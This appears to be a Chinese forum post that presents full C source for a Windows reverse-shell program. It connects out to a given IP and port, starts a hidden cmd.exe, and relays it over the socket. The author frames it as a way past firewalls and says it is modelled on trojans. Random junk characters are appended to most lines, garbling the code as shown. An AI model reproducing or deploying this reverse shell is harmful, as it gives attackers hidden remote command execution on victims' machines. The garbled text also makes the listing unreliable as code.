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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &zb_8y,  
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/* ============================== @>(l}5U5  
Rebound port in Windows NT 1S  0GjR  
By wind,2006/7 ,;GW n  
===============================*/ @DU]XKv  
#include Uc<B)7{'  
#include 0N_Ma')i  
nU[ROy5  
#pragma comment(lib,"wsock32.lib") :9_K@f?n  
1p+2*c  
void OutputShell(); Vy-H3BR  
SOCKET sClient; ,UH`l./3DX  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o=w& &B  
PKwHq<vAsB  
void main(int argc,char **argv) PX\}lTJ  
{ k,X` }AJ6  
WSADATA stWsaData; 3M+hjc.  
int nRet; 75Jh(hd(  
SOCKADDR_IN stSaiClient,stSaiServer; <IK8 Ucp  
DK*2 d_  
if(argc != 3) 9i,QCA  
{ !@ai=p  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4LUFG  
return; |+cyb<(V J  
} < ynm A  
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WSAStartup(MAKEWORD(2,2),&stWsaData); YOP=gvZq  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N@?Fpmu/k  
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stSaiClient.sin_family = AF_INET; XZ Z Ml  
stSaiClient.sin_port = htons(0); )I.[@#-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'n)M0e  
<3Co/.VQd  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Uu }ai."iB  
{ ~WR6rc  
printf("Bind Socket Failed!\n"); } Yj ic4?  
return; xJ^Gtq Um  
} SobK<6  
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stSaiServer.sin_family = AF_INET; Kdik7jL/J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kp xd+w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )h2wwq0]  
_9\ ayR>d  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QOy+T6en  
{ DH)@8)C  
printf("Connect Error!"); l'B`f)  
return; QmT]~4PqS  
} 5<,}^4wWZ  
OutputShell(); :E@"4O?<Y)  
} -]W AB9  
1UyI.U]  
void OutputShell() A;Xn#t ,(K  
{  p&:R SO  
char szBuff[1024]; + :iNoDz  
SECURITY_ATTRIBUTES stSecurityAttributes; 'WxcA)z0cQ  
OSVERSIONINFO stOsversionInfo; l_>^LFOA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8 yB  
STARTUPINFO stStartupInfo; ;u!>( QQ  
char *szShell; Mm^o3vl  
PROCESS_INFORMATION stProcessInformation; l)a]V]oQ  
unsigned long lBytesRead; 6yv*AmFh  
,%v  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ASR"<]  
xh_6@}D2J  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :T5l0h-eC  
stSecurityAttributes.lpSecurityDescriptor = 0; PZeVjL?E  
stSecurityAttributes.bInheritHandle = TRUE; ;IXDZ#;   
I$9 t^82j  
vZhN% DfY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nFX8:fZ$>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \iSaxwU_  
M=`F $  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FUvZMA$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `fY~Lv{4d_  
stStartupInfo.wShowWindow = SW_HIDE; psgXJe$  
stStartupInfo.hStdInput = hReadPipe; 6@ ToPbj4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1i$9x$4~E  
qZ6P(5X  
GetVersionEx(&stOsversionInfo); )O#>ONm^  
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switch(stOsversionInfo.dwPlatformId) g=o)=sQd  
{ BqCBH!^x  
case 1: j:O=9  
szShell = "command.com"; _dmgNbs  
break; .v/s9'lB  
default: ~ 9^1m  
szShell = "cmd.exe"; q 1Rk'k4+  
break; ]wER&/v"  
} 8QXxRD;0:  
UfOF's_'<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B9>3xxp(by  
z )a8 ^]`  
send(sClient,szMsg,77,0); b@/z^k{%  
while(1) ?VCb@&*  
{ ]Tx8ImD#)A  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VbKky1a@  
if(lBytesRead) Ip4CC'  
{ _F;(#D  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FC.y%P,  
send(sClient,szBuff,lBytesRead,0); l`[*b_ Xt  
} /V$ [M  
else UStZ3A'  
{ PfF7*}P  
lBytesRead=recv(sClient,szBuff,1024,0); UyEyk$6SU  
if(lBytesRead<=0) break; N6Vn/7I5%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6AUXYbK,  
} XB50>??NE  
} }f;Zx)!  
esLPJx  
return; kzbgy)PK3  
}
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